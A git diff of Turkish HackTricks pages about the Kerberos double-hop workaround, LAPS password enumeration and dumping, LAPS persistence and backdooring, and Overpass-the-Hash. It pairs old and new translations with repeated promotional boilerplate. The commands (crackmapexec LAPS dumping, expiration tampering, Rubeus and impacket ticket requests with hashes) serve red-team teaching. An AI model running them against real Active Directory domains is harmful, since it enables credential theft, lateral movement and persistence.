İlk sunucuya OpenSSH kurmak, çift atlama sorunu için özellikle atlamalı kutu senaryoları için kullanışlı bir çözüm sağlar. Bu yöntem, OpenSSH'nin Windows için CLI kurulumu ve yapılandırması gerektirir. Parola Kimlik Doğrulama için yapılandırıldığında, aracı sunucunun kullanıcı adına bir TGT almasına izin verir.
İlk sunucuya OpenSSH kurmak, özellikle atlamalı kutu senaryoları için çift atlama sorununa bir çözüm sağlar. Bu yöntem, Windows için OpenSSH'nin CLI kurulumunu ve yapılandırmasını gerektirir. Parola Kimliği Doğrulaması için yapılandırıldığında, bu, aracı sunucunun kullanıcı adına bir TGT almasına izin verir.
#### OpenSSH Kurulum Adımları
@ -87,7 +89,7 @@ winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
2. Zip dosyasınıın ve `Install-sshd.ps1` betiğini çalıştırın.
3. Port 22'yi açmak için bir güvenlik duvarı kuralı ekleyin ve SSH hizmetlerinin çalıştığını doğrulayın.
`Bağlantı sıfırlandı` hatalarını çözmek için, izinlerin OpenSSH dizininde herkese okuma ve çalıştırma erişimi sağlamak için güncellenmesi gerekebilir.
`Bağlantı sıfırlandı` hatalarını çözmek için, izinlerin OpenSSH dizininde herkesin okuma ve çalıştırma erişimine izin vermek için güncellenmesi gerekebilir.
```bash
icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
```
@ -98,14 +100,18 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
* [https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting](https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting)
* [https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/](https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını yapmak** veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuz olan özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin.**
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın.**
* **Bir **<strong>**cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te** görmek ister misiniz? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** takip edin.
* **Hacking püf noktalarınızı göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **üzerinden PR'lar göndererek paylaşın.**
</details>

View file

@ -2,23 +2,28 @@
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'a katılın!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını yapmak** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**'a PR göndererek paylaşın.
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da en son PEASS sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **[💬 Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) veya beni Twitter'da takip edin 🐦[@carlospolopm](https://twitter.com/hacktricks_live)**.
* **Hacking püf noktalarınızı paylaşarak [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**'a PR gönderin.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Temel Bilgiler
Local Administrator Password Solution (LAPS), **benzersiz, rastgele ve sık sık değiştirilen** yönetici parolalarının uygulandığı bir sistem yönetimi aracıdır. Bu parolalar, Active Directory içinde güvenli bir şekilde depolanır ve yalnızca Erişim Kontrol Listeleri (ACL'ler) aracılığıyla izin verilen kullanıcılar tarafından erişilebilir. İstemciden sunucuya yapılan parola iletimlerinin güvenliği, **Kerberos sürüm 5** ve **Advanced Encryption Standard (AES)** kullanılarak sağlanır.
Yerel Yönetici Parola Çözümü (LAPS), **yönetici parolalarının**, **benzersiz, rastgele ve sık sık değiştirilen** ve etki alanına katılmış bilgisayarlara uygulandığı bir sistem yönetimi aracıdır. Bu parolalar, Active Directory içinde güvenli bir şekilde depolanır ve yalnızca Erişim Kontrol Listeleri (ACL'ler) aracılığıyla izin verilen kullanıcılar tarafından erişilebilir. İstemci ile sunucu arasındaki parola iletimlerinin güvenliği, **Kerberos sürüm 5** ve **Gelişmiş Şifreleme Standardı (AES)** kullanılarak sağlanır.
LAPS'nin uygulanmasıyla, etki alanının bilgisayar nesnelerine **`ms-mcs-AdmPwd`** ve **`ms-mcs-AdmPwdExpirationTime`** olmak üzere iki yeni özellik eklenir. Bu özellikler, sırasıyla **düz metin yönetici parolasını** ve **son kullanma zamanını** depolar.
LAPS'ın uygulanmasıyla etki alanının bilgisayar nesnelerinde **`ms-mcs-AdmPwd`** ve **`ms-mcs-AdmPwdExpirationTime`** olmak üzere iki yeni özellik eklenir. Bu özellikler sırasıyla **düz metin yönetici parolasını** ve **son kullanma zamanını** depolar.
### Aktifleştirilip aktifleştirilmediğini kontrol edin
### Aktif olup olmadığını kontrol edin
```bash
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
@ -31,11 +36,11 @@ Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name,
# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname
```
### LAPS Parola Erişimi
### LAPS Şifre Erişimi
`\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` adresinden **LAPS politikasının ham halini indirebilirsiniz** ve ardından bu dosyayı insan tarafından okunabilir formata dönüştürmek için [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) paketinde bulunan **`Parse-PolFile`** kullanılabilir.
Ayrıca, **yerel LAPS PowerShell cmdlet'leri** kullanılabilirse, erişimi olan bir makinede kullanılabilir:
Ayrıca, **yerleşik LAPS PowerShell cmdlet'leri** kullanılabilirse, erişim sağladığımız bir makinede kullanılabilir:
```powershell
Get-Command *AdmPwd*
@ -66,9 +71,9 @@ Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
```
### LAPSToolkit
[LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit), LAPS'ı birkaç fonksiyonla sıralamayı kolaylaştırır.\
Bunlardan biri, **LAPS etkin olan tüm bilgisayarlar için ExtendedRights'in ayrıştırılmasıdır**. Bu, genellikle korunan gruplardaki kullanıcılar olan **LAPS şifrelerini okuma yetkisine sahip olan grupları** gösterecektir.\
Bir **hesap**, bir bilgisayarı bir etki alanına katıldığında, o makine üzerinde `Tüm Extended Rights` alır ve bu hak, **hesaba şifreleri okuma yeteneği** verir. Sıralama, bir makinedeki LAPS şifresini okuyabilen bir kullanıcı hesabını gösterebilir. Bu, LAPS şifrelerini okuyabilen belirli AD kullanıcılarını hedeflememize yardımcı olabilir.
[LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit), LAPS'ın çeşitli işlevlerle numaralandırılmasını kolaylaştırır.\
Bunlardan biri, **LAPS etkin olan tüm bilgisayarlar için `ExtendedRights`'ın ayrıştırılmasıdır.** Bu, genellikle korunan gruplardaki kullanıcılar olan **LAPS şifrelerini okuma yetkisine sahip özel olarak yetkilendirilmiş grupları** gösterecektir.\
Bir **hesap**, bir bilgisayarı bir etki alanına katıldığında, o makine üzerinde `Tüm Extended Rights` alır ve bu hak, **hesaba şifreleri okuma yeteneği** verir. Numaralandırma, bir kullanıcı hesabının bir makinedeki LAPS şifresini okuyabilme yeteneğine sahip olduğunu gösterebilir. Bu, **LAPS şifrelerini okuyabilen belirli AD kullanıcılarını hedeflememize yardımcı olabilir.**
```powershell
# Get groups that can read passwords
Find-LAPSDelegatedGroups
@ -92,18 +97,16 @@ ComputerName Password Expiration
------------ -------- ----------
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
```
## **Crackmapexec ile LAPS Şifrelerini Sızdırma**
Eğer bir powershell erişimi yoksa, LDAP üzerinden bu yetkiyi kötüye kullanarak uzaktan erişim sağlanabilir. Bunun için aşağıdaki adımları izleyin:
## **Crackmapexec ile LAPS Şifrelerinin Sızdırılması**
Eğer bir PowerShell erişiminiz yoksa, bunu uzaktan LDAP üzerinden kötüye kullanabilirsiniz. Bunun için
```
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
```
Bu, kullanıcının okuyabileceği tüm şifreleri dökecek ve farklı bir kullanıcıyla daha iyi bir yerleşim elde etmenizi sağlayacaktır.
## **LAPS Kalıcılığı**
### **Son Kullanma Tarihi**
Yönetici olduktan sonra, şifreleri elde etmek ve bir makinenin şifresini güncellemesini önlemek için son kullanma tarihini geleceğe ayarlamak mümkündür.
Yönetici olduktan sonra, **şifreleri elde etmek** ve bir makinenin **şifresini güncellemesini engellemek** için **son kullanma tarihini geleceğe ayarlayarak** daha iyi bir zemin elde edebilirsiniz.
```powershell
# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
@ -113,26 +116,30 @@ Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
```
{% hint style="warning" %}
Parola, bir **admin** tarafından **`Reset-AdmPwdPassword`** cmdlet kullanıldığında veya LAPS GPO'da **Politika tarafından gereklenden daha uzun bir parola süresi izin verilmez** seçeneği etkinleştirildiğinde hala sıfırlanır.
Şifre hala sıfırlanacak, eğer bir **yönetici** **`Reset-AdmPwdPassword`** komut dosyasını kullanırsa; veya **Politika tarafından gerekliden daha uzun bir şifre son kullanma süresine izin verme** LAPS GPO'sunda etkinleştirilmişse.
{% endhint %}
### Arka Kapı
LAPS için orijinal kaynak kodu [burada](https://github.com/GreyCorbel/admpwd) bulunabilir, bu nedenle kodun içine (örneğin `Main/AdmPwd.PS/Main.cs` içindeki `Get-AdmPwdPassword` yöntemi içine) bir arka kapı yerleştirmek mümkündür. Bu arka kapı, yeni parolaları bir şekilde **dışarıya sızdıracak veya bir yerde depolayacak** şekilde tasarlanmalıdır.
LAPS için orijinal kaynak kodu [burada](https://github.com/GreyCorbel/admpwd) bulunabilir, bu nedenle kod içine (örneğin `Main/AdmPwd.PS/Main.cs` içinde `Get-AdmPwdPassword` yöntemi) bir arka kapı yerleştirmek mümkündür ki bu yeni şifreleri bir şekilde **dışarıya sızdıracak veya bir yerde depolayacak**.
Ardından, yeni `AdmPwd.PS.dll` derlenir ve makineye `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` yoluna yüklenir (ve değiştirilme zamanı değiştirilir).
Ardından, yeni `AdmPwd.PS.dll` dosyasını derleyin ve `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` konumuna yükleyin (ve değişiklik zamanını değiştirin).
## Referanslar
* [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile öğrenin!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını yapmak** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'ler**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te** görmek ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking püf noktalarınızı paylaşın, PR'lar göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -2,38 +2,43 @@
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'a katılın!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını yapmak** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) görün
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **[💬 Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya beni Twitter'da takip edin 🐦[@carlospolopm](https://twitter.com/hacktricks_live)**.
* **Hacking püf noktalarınızı [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın**.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Overpass The Hash/Pass The Key (PTK)
**Overpass The Hash/Pass The Key (PTK)** saldırısı, geleneksel NTLM protokolünün kısıtlandığı ve Kerberos kimlik doğrulamasının öncelikli olduğu ortamlar için tasarlanmıştır. Bu saldırı, bir kullanıcının NTLM hash veya AES anahtarlarını kullanarak Kerberos biletleri talep ederek ağ içindeki kaynaklara izinsiz erişim sağlar.
**Overpass The Hash/Pass The Key (PTK)** saldırısı, geleneksel NTLM protokolünün kısıtlandığı ve Kerberos kimlik doğrulamasının öncelikli olduğu ortamlar için tasarlanmıştır. Bu saldırı, bir kullanıcının NTLM hash'ini veya AES anahtarlarını kullanarak Kerberos biletleri talep ederek ağdaki kaynaklara izinsiz erişim sağlar.
Bu saldırıyı gerçekleştirmek için ilk adım, hedeflenen kullanıcının hesabının NTLM hash veya şifresini elde etmektir. Bu bilgiyi elde ettikten sonra, hesap için bir Ticket Granting Ticket (TGT) alınabilir ve saldırganın kullanıcının izinleri olduğu hizmetlere veya makinelerine erişmesine olanak sağlar.
Bu saldırıyı gerçekleştirmek için ilk adım, hedeflenen kullanıcının hesabının NTLM hash'ini veya şifresini elde etmeyi içerir. Bu bilgiyi elde ettikten sonra, hesabın Ticket Granting Ticket (TGT) alınabilir ve saldırganın kullanıcının izinleri olduğu hizmetlere veya makineleri erişmesine olanak tanır.
İşlem aşağıdaki komutlarla başlatılabilir:
Süreç aşağıdaki komutlarla başlatılabilir:
```bash
python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
```
AES256 gerektiren senaryolarda, `-aesKey [AES anahtarı]` seçeneği kullanılabilir. Ayrıca, elde edilen bilet smbexec.py veya wmiexec.py gibi çeşitli araçlarla kullanılabilir, saldırının kapsamı genişletilebilir.
AES256 gerektiren senaryolar için `-aesKey [AES anahtarı]` seçeneği kullanılabilir. Dahası, elde edilen bilet, smbexec.py veya wmiexec.py gibi çeşitli araçlarla kullanılabilir, saldırı alanını genişleterek.
_PyAsn1Error_ veya _KDC cannot find the name_ gibi karşılaşılan sorunlar genellikle Impacket kütüphanesinin güncellenmesi veya IP adresi yerine ana bilgisayar adının kullanılmasıyla çözülür, böylece Kerberos KDC ile uyumluluk sağlanır.
_PyAsn1Error_ veya _KDC cannot find the name_ gibi karşılaşılan sorunlar genellikle Impacket kütüphanesini güncelleyerek veya IP adresi yerine ana bilgisayar adını kullanarak çözülür, Kerberos KDC ile uyumluluğu sağlar.
Bu teknikle ilgili başka bir yönü gösteren alternatif bir komut dizisi Rubeus.exe kullanılarak gösterilebilir:
Bu tekniğin başka bir yönünü gösteren alternatif bir komut dizisi Rubeus.exe kullanılarak aşağıdaki gibidir:
```bash
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
```
Bu yöntem, **Pass the Key** yaklaşımını yansıtmaktadır ve doğrudan kimlik doğrulama amaçlı biletin ele geçirilmesi ve kullanılması üzerinde odaklanmaktadır. Önemli bir nokta, TGT isteğinin başlatılmasıyla birlikte varsayılan olarak RC4-HMAC kullanımını gösteren `4768: Bir Kerberos kimlik doğrulama bileti (TGT) istendi` olayının tetiklendiğidir, ancak modern Windows sistemleri AES256'yı tercih etmektedir.
Bu yöntem, **Anahtarı Geçir** yaklaşımını yansıtır ve doğrudan kimlik doğrulama amaçları için biletin ele geçirilmesine ve kullanılmasına odaklanır. Bir TGT isteğinin başlatılması, varsayılan olarak RC4-HMAC kullanımını belirten `4768: Bir Kerberos kimlik doğrulama bileti (TGT) istendi` olayını tetikler, ancak modern Windows sistemleri genellikle AES256'yı tercih eder.
Operasyonel güvenliğe uyum sağlamak ve AES256'yı kullanmak için aşağıdaki komut uygulanabilir:
```bash
@ -43,14 +48,18 @@ Operasyonel güvenliğe uyum sağlamak ve AES256'yı kullanmak için aşağıdak
* [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamınızı görmek ister misiniz**? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi**](https://opensea.io/collection/the-peass-family)ni keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunuza bakın
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın**.
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -2,17 +2,22 @@
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* Bir **cybersecurity şirketinde mi çalışıyorsunuz?** **Şirketinizi HackTricks'te reklamını görmek ister misiniz?** veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grubuna**](https://discord.gg/hRep4RUj7f) veya **telegram grubuna** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin.**
* **Hacking püf noktalarınızı paylaşarak [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**'a PR gönderin.
</details>
PowerView'ın en güncel sürümü her zaman PowerSploit'in dev dalında bulunur: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
PowerView'ın en güncel sürümü her zaman PowerSploit'in dev dalında olacaktır: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
